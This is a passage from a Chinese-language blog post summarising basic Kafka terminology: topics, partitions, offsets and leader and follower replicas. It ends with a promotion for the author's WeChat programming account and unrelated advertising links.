kafka發布訂閱的對象叫主題,每個Topic下可以有多個Partition,Partition中每條消息的位置信息又叫做消息位移(Offset),Partition有副本機制,使得同一條消息能夠被拷貝到多個地方以提供數據冗餘,副本分為領導者副本和追隨者副本。

可以用下面這張圖來形象表達kafka的組成:

另外,再po一張思維導圖助你回顧本文所述的術語。

重要!!關注【胖滾豬學編程】公眾號發送”kafka”。獲取本文所有架構圖以及Kafka全系列思維導圖!

本文來源於公眾號:【胖滾豬學編程】。一枚集顏值與才華於一身,不算聰明卻足夠努力的女程序媛。用漫畫形式讓編程so easy and interesting!求關注!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案